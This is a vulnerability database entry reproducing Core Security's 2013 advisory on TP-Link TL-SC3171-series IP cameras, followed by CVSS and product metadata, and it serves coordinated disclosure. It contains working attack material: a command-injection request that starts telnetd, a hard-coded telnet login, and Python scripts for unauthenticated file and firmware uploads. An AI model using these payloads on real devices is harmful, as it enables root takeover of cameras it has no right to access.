var-201310-0194
Vulnerability from variot

cgi-bin/admin/servetest in TP-Link IP Cameras TL-SC3130, TL-SC3130G, TL-SC3171, TL-SC3171G, and possibly other models before beta firmware LM.1.6.18P12_sign6 allows remote attackers to execute arbitrary commands via shell metacharacters in (1) the ServerName parameter and (2) other unspecified parameters. The TP-Link TL-SC3171 IP camera is a webcam device. TP-Link TL-SC3171 IP Cameras are prone to multiple remote command-injection vulnerabilities. Attackers may exploit these issues to execute arbitrary commands with root privileges in the context of the affected device. TP-Link TL-SC3171 running firmware version LM.1.6.18P12_sign5 is vulnerable; other versions may also be affected. There is a command injection vulnerability in the cgi-bin/admin/servetest file in versions earlier than LM.1.6.18P12_sign6 of TP-LINK IP Cameras. The following models are affected: TL-SC3130, TL-SC3130G, TL-SC3171, TL-SC3171G. Advisory Information

Title: Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras Advisory ID: CORE-2013-0618 Advisory URL: http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras Date published: 2013-07-30 Date of last update: 2013-07-30 Vendors contacted: TP-Link Release mode: Coordinated release

  1. Vulnerability Information

Class: OS command injection [CWE-78], Use of hard-coded credentials [CWE-798], Authentication Bypass Issues [CWE-592], Missing Authentication for Critical Function [CWE-306] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2578, CVE-2013-2579, CVE-2013-2580, CVE-2013-2581

  1. [CVE-2013-2578] to execute arbitrary commands through the file '/cgi-bin/admin/servetest'.
  2. [CVE-2013-2579] to execute arbitrary commands in a shell using hard-coded credentials.
  3. [CVE-2013-2580] to perform unauthenticated remote file uploads.
  4. [CVE-2013-2581] to perform unauthenticated remote firmware upgrades.

3.1. Attack Paths

There are several attack paths that can be exploited by combining these vulnerabilities with other ones discovered by Eliezer Varade Lopez, Javier Repiso Sanchez and Jonas Ropero Castillo [2]. Additional attack paths are available, but the ones listed here allow understanding how an attacker could compromise the affected device.

3.1.1. Attack Path I

(Authentication: none)

  1. Upload a rooted firmware exploiting [CVE-2013-2581].
  2. Reboot the device by exploiting 'http:///cgi-bin/reboot'[2].

3.1.2. Attack Path II

(Authentication: bypassed)

  1. Reset the device to its factory defaults exploiting 'http:///cgi-bin/hardfactorydefault'[2]. After this step, the authentication can by bypassed by using 'admin:admin' as a valid 'username:password'.
  2. Reboot the device by exploiting 'http:///cgi-bin/reboot'[2].
  3. Start the Telnet service exploiting [CVE-2013-2578].
  4. Login to the Telnet service using user 'qmik' (no password) [CVE-2013-2579], and use the device as a pivoting point.

  5. Vulnerable Packages

Tests and PoC were run on:

.

  1. Vendor Information, Solutions and Workarounds

Vendor provides the links to (pre-release) patched firmware versions [3]. The final official versions will be released in the next few days. Please, contact TP-Link for further information.

  1. Credits

These vulnerabilities were discovered by Flavio de Cristofaro and researched with the help of Andres Blanco from Core Security Technologies. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

  1. Technical Description / Proof of Concept Code

7.1. OS Command Injection in servetest

[CVE-2013-2578] The file '/cgi-bin/admin/servetest' has an OS command injection in several of its parameters that can be exploited by an authenticated user to execute arbitrary commands. The following proof of concept starts the telnetd service:

/----- GET /cgi-bin/admin/servetest?cmd=smtp&ServerName=1.1.1.1;/usr/sbin/telnetd;&ServerPort=25&ServerSSL=off&RcptToAddr1=q@q&AdminAddr=q@q HTTP/1.1 Accept: / Accept-Language: en-us Referer: http://192.168.1.100/progress.htm If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Host: 192.168.1.100 Proxy-Connection: Keep-Alive Cookie: VideoFmt=1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 2 -----/

7.2. Hard-coded credentials in telnet service

[CVE-2013-2579] The affected system includes a hard-coded login with no password which could be used by a remote attacker to access the OS of the affected device using the built-in telnet service:

/----- username: qmik password: (none)
-----/

The 'qmik' user is allowed to execute the command 'su', allowing the user to execute arbitrary commands with root level privileges. The telnet service can be enabled through [CVE-2013-2578].

7.3. Unauthenticated remote file uploads

[CVE-2013-2580] The file '/cgi-bin/uploadfile' allows an unauthenticated user to perform remote file uploads as shown in the following Python PoC:

/----- import requests

fileName = "lala.tmp" f = open(fileName, "w") f.write("lala") f.close() requests.post("http://192.168.1.100/cgi-bin/uploadfile", files={fileName: open(fileName, "rb")}) -----/

The uploaded file (in this example lala.tmp) will be hosted in the '/mnt/mtd' directory.

7.4. Unauthenticated remote firmware upgrades

[CVE-2013-2581] The file '/cgi-bin/firmwareupgrade' allows an unauthenticated user to perform remote firmware upgrades as shown in the following Python POC:

/----- import requests

requests.get("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset") fileName = "COM_T01F001_LM.1.6.18P12_sign5_TPL.TL-SC3171.bin" cookies={"VideoFmt":"1"} requests.post("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset", files={"SetFWFileName" : (fileName, open(fileName, "rb"))}, cookies=cookies) -----/

  1. Report Timeline

. 2013-06-12: Core Security Technologies notifies the TP-Link team of the vulnerability. 2013-06-18: Core Security Technologies notifies the TP-Link team of the vulnerability and set the estimated publication date of the advisory for July 10, 2013. 2013-06-19: TP-Link answers saying that these vulnerabilities are the same as the ones published on May 28, 2013. 2013-06-26: Core Security Technologies notifies the TP-Link team that these are new, different, vulnerabilities and sends a draft report with technical information. 2013-06-26: Vendor acknowledges the receipt of the technical report. 2013-07-01: Vendor requests additional technical information. 2013-07-04: Core re-sends an improved technical report with additional information regarding possible attack paths [Sec. 3.1]. 2013-07-10: First release date missed. 2013-07-15: Core asks for a status update. 2013-07-22: Vendor notifies that a patched firmware version will be released on July 29th. 2013-07-22: Core re-schedules the advisory publication for July 29th. 2013-07-26: Vendor notifies that a (pre-release) patched firmware version is available [3] and being tested. 2013-07-30: Advisory CORE-2013-0618 is published.

  1. References

[1] TP-Link TL-SC3171, http://www.tp-link.com/en/products/details/?categoryid=230&model=TL-SC3171. [3] See the online version, http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras.

  1. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

  1. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.

  1. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

  1. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Show details on source website


{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-201310-0194",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "tl-sc3171",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "tp link",
        "version": null
      },
      {
        "model": "tl-sc3130g",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "tp link",
        "version": null
      },
      {
        "model": "tl-sc3171g",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "tp link",
        "version": null
      },
      {
        "model": "tl-sc3130",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "tp link",
        "version": null
      },
      {
        "model": "lm",
        "scope": "lte",
        "trust": 1.0,
        "vendor": "tp link",
        "version": "1.6.18p12_sign5"
      },
      {
        "model": "fimware lm",
        "scope": "lt",
        "trust": 0.8,
        "vendor": "tp link",
        "version": ".1.6.18p12_sign6"
      },
      {
        "model": "tl-sc3130",
        "scope": null,
        "trust": 0.8,
        "vendor": "tp link",
        "version": null
      },
      {
        "model": "tl-sc3130g",
        "scope": null,
        "trust": 0.8,
        "vendor": "tp link",
        "version": null
      },
      {
        "model": "tl-sc3171",
        "scope": null,
        "trust": 0.8,
        "vendor": "tp link",
        "version": null
      },
      {
        "model": "tl-sc3171g",
        "scope": null,
        "trust": 0.8,
        "vendor": "tp link",
        "version": null
      },
      {
        "model": "tl-sc3171 ip camera",
        "scope": null,
        "trust": 0.6,
        "vendor": "tp link",
        "version": null
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-11282"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004625"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201307-677"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-2578"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "cpe_match": [
              {
                "cpe22Uri": "cpe:/o:tp-link:lm_firmware",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/h:tp-link:tl-sc3130",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/h:tp-link:tl-sc3130g",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/h:tp-link:tl-sc3171",
                "vulnerable": true
              },
              {
                "cpe22Uri": "cpe:/h:tp-link:tl-sc3171g",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004625"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Flavio de Cristofaro, Andres Blanco",
    "sources": [
      {
        "db": "BID",
        "id": "61529"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201307-677"
      }
    ],
    "trust": 0.9
  },
  "cve": "CVE-2013-2578",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "CVE-2013-2578",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 1.8,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "PARTIAL",
            "baseScore": 6.8,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 8.6,
            "id": "CNVD-2013-11282",
            "impactScore": 6.4,
            "integrityImpact": "PARTIAL",
            "severity": "MEDIUM",
            "trust": 0.6,
            "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULHUB",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "VHN-62580",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 0.1,
            "vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
            "version": "2.0"
          }
        ],
        "cvssV3": [],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2013-2578",
            "trust": 1.0,
            "value": "HIGH"
          },
          {
            "author": "NVD",
            "id": "CVE-2013-2578",
            "trust": 0.8,
            "value": "High"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2013-11282",
            "trust": 0.6,
            "value": "MEDIUM"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201307-677",
            "trust": 0.6,
            "value": "CRITICAL"
          },
          {
            "author": "VULHUB",
            "id": "VHN-62580",
            "trust": 0.1,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-11282"
      },
      {
        "db": "VULHUB",
        "id": "VHN-62580"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004625"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201307-677"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-2578"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "cgi-bin/admin/servetest in TP-Link IP Cameras TL-SC3130, TL-SC3130G, TL-SC3171, TL-SC3171G, and possibly other models before beta firmware LM.1.6.18P12_sign6 allows remote attackers to execute arbitrary commands via shell metacharacters in (1) the ServerName parameter and (2) other unspecified parameters. The TP-Link TL-SC3171 IP camera is a webcam device. TP-Link TL-SC3171 IP Cameras are prone to multiple remote command-injection vulnerabilities. \nAttackers may exploit these issues to execute arbitrary commands with root privileges in the context of the affected device. \nTP-Link TL-SC3171 running firmware version LM.1.6.18P12_sign5 is vulnerable; other versions may also be affected. There is a command injection vulnerability in the cgi-bin/admin/servetest file in versions earlier than LM.1.6.18P12_sign6 of TP-LINK IP Cameras. The following models are affected: TL-SC3130, TL-SC3130G, TL-SC3171, TL-SC3171G. *Advisory Information*\n\nTitle: Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras\nAdvisory ID: CORE-2013-0618\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras\nDate published: 2013-07-30\nDate of last update: 2013-07-30\nVendors contacted: TP-Link\nRelease mode: Coordinated release\n\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Use of hard-coded credentials\n[CWE-798], Authentication Bypass Issues [CWE-592], Missing\nAuthentication for Critical Function [CWE-306]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-2578, CVE-2013-2579, CVE-2013-2580, CVE-2013-2581\n\n\n3. [CVE-2013-2578] to execute arbitrary commands through the file\n\u0027/cgi-bin/admin/servetest\u0027. \n   2. [CVE-2013-2579] to execute arbitrary commands in a shell using\nhard-coded credentials. \n   3. [CVE-2013-2580] to perform unauthenticated remote file uploads. \n   5. [CVE-2013-2581] to perform unauthenticated remote firmware upgrades. \n\n3.1. *Attack Paths*\n\nThere are several attack paths that can be exploited by combining these\nvulnerabilities with other ones discovered by Eliezer Varade Lopez,\nJavier Repiso Sanchez and Jonas Ropero Castillo [2]. Additional attack\npaths are available, but the ones listed here allow understanding how an\nattacker could compromise the affected device. \n\n3.1.1. *Attack Path I*\n\n(Authentication: none)\n\n   1. Upload a rooted firmware exploiting [CVE-2013-2581]. \n   2. Reboot the device by exploiting \u0027http://\u003cip-cam\u003e/cgi-bin/reboot\u0027[2]. \n\n3.1.2. *Attack Path II*\n\n(Authentication: bypassed)\n\n   1. Reset the device to its factory defaults exploiting\n\u0027http://\u003cip-cam\u003e/cgi-bin/hardfactorydefault\u0027[2]. After this step, the\nauthentication can by bypassed by using \u0027admin:admin\u0027 as a valid\n\u0027username:password\u0027. \n   2. Reboot the device by exploiting \u0027http://\u003cip-cam\u003e/cgi-bin/reboot\u0027[2]. \n   3. Start the Telnet service exploiting [CVE-2013-2578]. \n   4. Login to the Telnet service using user \u0027qmik\u0027 (no password)\n[CVE-2013-2579], and use the device as a pivoting point. \n\n4. *Vulnerable Packages*\n\nTests and PoC were run on:\n\n   . \n\n5. *Vendor Information, Solutions and Workarounds*\n\nVendor provides the links to (pre-release) patched firmware versions\n[3]. The final official versions will be released in the next few days. \nPlease, contact TP-Link for further information. \n\n6. *Credits*\n\nThese vulnerabilities were discovered by Flavio de Cristofaro and\nresearched with the help of Andres Blanco from Core Security\nTechnologies. The publication of this advisory was coordinated by\nFernando Miranda from Core Advisories Team. \n\n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. *OS Command Injection in servetest*\n\n[CVE-2013-2578] The file \u0027/cgi-bin/admin/servetest\u0027 has an OS command\ninjection in several of its parameters that can be exploited by an\nauthenticated user to execute arbitrary commands. The following proof of\nconcept starts the telnetd service:\n\n/-----\nGET\n/cgi-bin/admin/servetest?cmd=smtp\u0026ServerName=1.1.1.1;/usr/sbin/telnetd;\u0026ServerPort=25\u0026ServerSSL=off\u0026RcptToAddr1=q@q\u0026AdminAddr=q@q\nHTTP/1.1\nAccept: */*\nAccept-Language: en-us\nReferer: http://192.168.1.100/progress.htm\nIf-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;\nTrident/5.0)\nHost: 192.168.1.100\nProxy-Connection: Keep-Alive\nCookie: VideoFmt=1\nAuthorization: Basic YWRtaW46YWRtaW4=\nContent-Length: 2\n-----/\n\n7.2. *Hard-coded credentials in telnet service*\n\n[CVE-2013-2579] The affected system includes a hard-coded login with no\npassword which could be used by a remote attacker to access the OS of\nthe affected device using the built-in telnet service:\n\n/-----\nusername: qmik\npassword: (none)      \n-----/\n\nThe \u0027qmik\u0027 user is allowed to execute the command \u0027su\u0027, allowing the\nuser to execute arbitrary commands with root level privileges. The\ntelnet service can be enabled through [CVE-2013-2578]. \n\n\n7.3. *Unauthenticated remote file uploads*\n\n[CVE-2013-2580] The file \u0027/cgi-bin/uploadfile\u0027 allows an unauthenticated\nuser to perform remote file uploads as shown in the following Python PoC:\n\n\n/-----\nimport requests\n\nfileName = \"lala.tmp\"\nf = open(fileName, \"w\")\nf.write(\"lala\")\nf.close()\nrequests.post(\"http://192.168.1.100/cgi-bin/uploadfile\",\nfiles={fileName: open(fileName, \"rb\")})\n-----/\n\nThe uploaded file (in this example lala.tmp) will be hosted in the\n\u0027/mnt/mtd\u0027 directory. \n\n\n7.4. *Unauthenticated remote firmware upgrades*\n\n[CVE-2013-2581] The file \u0027/cgi-bin/firmwareupgrade\u0027 allows an\nunauthenticated user to perform remote firmware upgrades as shown in the\nfollowing Python POC:\n\n\n/-----\nimport requests\n\nrequests.get(\"http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset\")\nfileName = \"COM_T01F001_LM.1.6.18P12_sign5_TPL.TL-SC3171.bin\"\ncookies={\"VideoFmt\":\"1\"}\nrequests.post(\"http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset\",\nfiles={\"SetFWFileName\" : (fileName, open(fileName, \"rb\"))}, cookies=cookies)\n-----/\n\n\n8. *Report Timeline*\n\n. 2013-06-12:\nCore Security Technologies notifies the TP-Link team of the vulnerability. 2013-06-18:\nCore Security Technologies notifies the TP-Link team of the\nvulnerability and set the estimated publication date of the advisory for\nJuly 10, 2013. 2013-06-19:\nTP-Link answers saying that these vulnerabilities are the same as the\nones published on May 28, 2013. 2013-06-26:\nCore Security Technologies notifies the TP-Link team that these are new,\ndifferent, vulnerabilities and sends a draft report with technical\ninformation. 2013-06-26:\nVendor acknowledges the receipt of the technical report. 2013-07-01:\nVendor requests additional technical information. 2013-07-04:\nCore re-sends an improved technical report with additional information\nregarding possible attack paths [Sec. 3.1]. 2013-07-10:\nFirst release date missed. 2013-07-15:\nCore asks for a status update. 2013-07-22:\nVendor notifies that a patched firmware version will be released on July\n29th. 2013-07-22:\nCore re-schedules the advisory publication for July 29th. 2013-07-26:\nVendor notifies that a (pre-release) patched firmware version is\navailable [3] and being tested. 2013-07-30:\nAdvisory CORE-2013-0618 is published. \n\n\n9. *References*\n\n[1] TP-Link TL-SC3171,\nhttp://www.tp-link.com/en/products/details/?categoryid=230\u0026model=TL-SC3171. \n[3] See the online version,\nhttp://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras. \n\n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2013-2578"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004625"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-11282"
      },
      {
        "db": "BID",
        "id": "61529"
      },
      {
        "db": "VULHUB",
        "id": "VHN-62580"
      },
      {
        "db": "PACKETSTORM",
        "id": "122616"
      }
    ],
    "trust": 2.61
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://www.scap.org.cn/vuln/vhn-62580",
        "trust": 0.1,
        "type": "unknown"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-62580"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2013-2578",
        "trust": 3.5
      },
      {
        "db": "BID",
        "id": "61529",
        "trust": 1.6
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004625",
        "trust": 0.8
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201307-677",
        "trust": 0.7
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-11282",
        "trust": 0.6
      },
      {
        "db": "PACKETSTORM",
        "id": "122616",
        "trust": 0.2
      },
      {
        "db": "SEEBUG",
        "id": "SSVID-80903",
        "trust": 0.1
      },
      {
        "db": "EXPLOIT-DB",
        "id": "27289",
        "trust": 0.1
      },
      {
        "db": "VULHUB",
        "id": "VHN-62580",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-11282"
      },
      {
        "db": "VULHUB",
        "id": "VHN-62580"
      },
      {
        "db": "BID",
        "id": "61529"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004625"
      },
      {
        "db": "PACKETSTORM",
        "id": "122616"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201307-677"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-2578"
      }
    ]
  },
  "id": "VAR-201310-0194",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-11282"
      },
      {
        "db": "VULHUB",
        "id": "VHN-62580"
      }
    ],
    "trust": 1.5571428699999998
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "Network device"
        ],
        "sub_category": null,
        "trust": 0.6
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-11282"
      }
    ]
  },
  "last_update_date": "2024-08-14T13:35:32.866000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "IP Cameras",
        "trust": 0.8,
        "url": "http://www.tp-link.com/en/products/?categoryid=207"
      },
      {
        "title": "Patch for TP-Link TL-SC3171 IP Camera OS Command Injection Vulnerability",
        "trust": 0.6,
        "url": "https://www.cnvd.org.cn/patchInfo/show/37988"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-11282"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004625"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-78",
        "trust": 1.9
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-62580"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-004625"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-2578"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.6,
        "url": "http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras"
      },
      {
        "trust": 0.8,
        "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-2578"
      },
      {
        "trust": 0.8,
